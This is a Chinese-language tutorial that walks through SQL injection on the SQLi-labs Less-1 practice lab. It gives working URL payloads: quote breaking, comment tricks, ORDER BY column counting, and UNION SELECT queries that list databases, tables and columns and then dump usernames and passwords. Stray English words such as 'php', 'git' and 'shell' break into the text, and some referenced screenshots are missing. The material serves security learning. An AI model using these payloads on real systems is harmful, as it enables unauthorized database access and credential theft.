首先咱們來了解一下什麼是SQL注入?php
所謂SQL注入,就是SQL Injection:是Web程序代碼中對於用戶提交的參數未作過濾就直接放到SQL語句中執行,致使參數中的特殊字符打破了SQL語句原有邏輯,能夠利用該漏洞執行任意SQL語句,如查詢數據、下載數據、寫入webshell、執行系統命令以及繞過登陸限制等。mysql
那麼,咱們應該怎麼學習呢?SQLi-labs會是一個不錯的選擇。git
// GET-基於錯誤的-單引號-字符型github
點擊less-1,進入如下界面:
web
咱們看到黃字提示:Please input the ID as parameter with numeric value //「請輸入ID爲數值的參數」sql
因此咱們在url後輸入:?id=1,回車,獲得下面的頁面:
shell
說明用id=1查到對應的一些數據,實際上進行了下面的查詢數據庫
select * from TABLENAME where id=1;
咱們再在URL後面增長一個 ' (單引號),發現報錯:瀏覽器
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1less
經過查看報錯信息,咱們猜想多是由於後面加的單引號沒閉合致使,因而,修改URL爲:
/sqli-labs/Less-1/?id=1' or 1=1 --+
發現有效,--+成功註釋了後面的代碼,一樣的,使用如下代碼也成功查詢到數據:
?id=1' or '1'='1
?id=1' or 1=1 --%20
?id=1' or 1=1%23
這裏解釋一下%23:%23是#的URL Encode獲得的,和--+同是註釋符。
常見URL Encode有:
%20 -> (空格)
%22 -> "
%23 -> #
%25 -> %
%27 -> '
至此,咱們能夠開始猜解數據庫了。
?id=1' order by 5%23
採用折半查找,找到一個最大的不報錯的數字,則爲該表的字段長度,這裏爲3;
?id=' union select 1,2,3%23
由圖可知回顯點爲第2、第三個字段,因此咱們以後查詢的內容要放在第2、第三字段纔會顯示;
?id=' union select 1,version(),3%23
?id=' union select 1,database(),user()%23
?id=' union select 1,(select group_concat(schema_name) from information_schema.schemata),3%23
?id=' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security'),3%23
?id=' union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'),3%23
?id=' union select 1,(select group_concat(username separator ';') from users),(select group_concat(password separator ';') from users)%23
至此,猜解完畢!